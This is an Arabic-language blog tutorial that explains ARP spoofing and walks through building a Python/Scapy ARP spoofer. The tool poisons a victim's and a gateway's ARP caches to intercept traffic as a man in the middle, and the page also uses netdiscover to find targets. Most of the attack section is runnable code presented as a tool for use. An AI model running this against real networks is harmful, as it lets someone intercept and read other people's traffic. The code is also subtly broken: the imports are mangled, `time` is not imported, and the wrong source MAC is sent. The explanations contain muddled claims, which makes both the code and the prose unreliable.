كيفية بناء ARP Spoofer ب Python باستخدام Scapy

ما هو  ARP Spoof

ARP spoofing هو عملية استغلال خاصية Address Resolution Protocol (ARP) في الشبكة اللاسلكية لتغيير عنوان IP الذي يرتبط بعنوان MAC في الجهاز الذي يتصل بالشبكة. يستخدم هذا الاستغلال لإخفاء الهوية الحقيقية للجهاز المزعج، أو لتغيير الطريقة التي يتصل بها الجهاز بالشبكة، للحصول على الوصول إلى المعلومات الخاصة بالشبكة.

ARP spoofing يستخدم غالباً في الهجمات الشبكية التي تستهدف الشبكات الداخلية، ويمكن للمهاجم الحصول على التحكم في الشبكة أو الحصول على المعلومات الخاصة بالشبكة.

هناك العديد من الطرق التي يمكن استخدامها للقيام بهجمة ARP spoofing، ولكن الطريقة الشائعة هي التشغيل في الشبكة الداخلية المحلية، ثم تغيير العنوان IP الذي يرتبط بعنوان MAC الذي يشير إلى الجهاز الخادم الذي يشغل الشبكة. بعد ذلك، يمكن للمهاجم الحصول على التحكم في الشبكة أو الحصول على المعلومات الخاصة بها.

للدفاع من الهجمات التي تستهدف ARP، يمكن الاعتماد على الأدوات الأمنية المتاحة مثل الحماية الشبكية المزدوجة التي تحقق من الهوية، أو الحماية الشبكية الذاتية التي تضمن أن كل جهاز في الشبكة يحقق هويته الخاصة.


 في هذا البرنامج التعليمي ، سوف نكتب نص بايثون للقيام بذلك.
في الشبكة العادية ، تتصل جميع الأجهزة Gateway ثم بالإنترنت ، كما هو موضح في الصورة التالية:



يحتاج المهاجم الآن إلى إرسال ردود ARP إلى كلا الجهازين(Gateway و الضحية):
  • إرسال رد ARP إلى gateway قائلاً "لدي عنوان IP الخاص بالضحية(victim)".
  • إرسال رد ARP إلى الضحية قائلاً "لدي عنوان IP الخاص gateway".










بمجرد أن ينفذ المهاجم هجوم ARP Spoof ، كما هو موضح في الشكل السابق ، سيكونون في وضع الرجل في الوسط (Man-in-the-middle" (MitM)"):





في هذه اللحظة ، بمجرد أن ترسل الضحية أي حزمة (طلب HTTP ، على سبيل المثال) ، سوف تمر أولاً إلى جهاز المهاجم. ثم يقوم بإعادة توجيه الحزمة إلى البوابة ، لذلك ، كما قد تلاحظ ، فإن الضحية لا تعرف شيئًا عن هذا الهجوم. بمعنى آخر ، لن يكونوا قادرين على اكتشاف تعرضهم للهجوم.


 قبل أن نبدأ ، تحتاج إلى تثبيت المكتبات المطلوبة
pip3 install scapy

 نحتاج إلى استيراد المكتبات اللازمة

import os import sys from scapy.all import *


الدالة get_mac : هذه الدالة تستخدم للحصول على العنوان المحلي (MAC) للهدف الذي يريد الهجوم عليه. يتم استخدام الطلب ARP الذي يتم إرساله للهدف، ويتم الحصول على العنوان المحلي (MAC) للهدف.


def get_mac(ip):
    arp = ARP(pdst=ip)
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether/arp
    result = srp(packet, timeout=3, verbose=0)[0]
    return result[0][1].hwsrc



الدالة  restore_arp : هذه الدالة تستخدم لإعادة تشغيل الشبكة الصحيحة بعد الهجوم. يتم الحصول على العنوان المحلي (MAC) للهدف، ويتم إرسال طلب ARP لإعادة الشبكة الصحيحة.




def restore_arp(target_ip, target_mac, spoof_ip): target_mac = get_mac(target_ip) packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=get_mac(spoof_ip)) send(packet, count=4, verbose=0)


دالة  arp_spoof : هي دالة تستخدم لإرسال طلبات ARP المزيفة للجهاز الهدف، من أجل التغشيه بشبكة الشبكة المحلية والحصول على التحكم في الجهاز الهدف.

يأخذ target_ip و spoof_ip ك (arguments) ، ويرسل باستمرار حزم ARP المخادعة إلى IP الهدف حتى يقاطع المستخدم التنفيذ.

كما أنه يستخدم مكتبة scapy التي تسمح بمعالجة packet level على الشبكة.




def arp_spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    spoof_mac = get_mac(spoof_ip)
    print("[*] Target MAC: " + target_mac)
    print("[*] Spoofing MAC: " + spoof_mac)
    try:
        while True:
            packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac)
            send(packet, verbose=0)
            print("[*] Sent spoofed ARP packet to " + target_ip)
            time.sleep(2)
    except KeyboardInterrupt:
        print("[*] Exiting...")
        restore_arp(target_ip, target_mac, spoof_ip)


في النهاية : تم تحديد (target_ip) ك (argument 1) , (spoof_ip) ك (argument 2)

ثم نقوم باستدهاء دالة  arp_spoof



target_ip = sys.argv[1]
spoof_ip = sys.argv[2]

arp_spoof(target_ip, spoof_ip)



الان سنقوم بتجربة الاداة :  ( يمكنك الوصول الي الكود كامل من خلال مستودع github الخاص  بنا  من هنا


سنقوم باستخدام اداة netdiscover لمعرفة الاجهزة الذي معنا علي الشبكة.


بعد ذلك نقوم بتشغيل الاداة :





إرسال تعليق

أحدث أقدم

نموذج الاتصال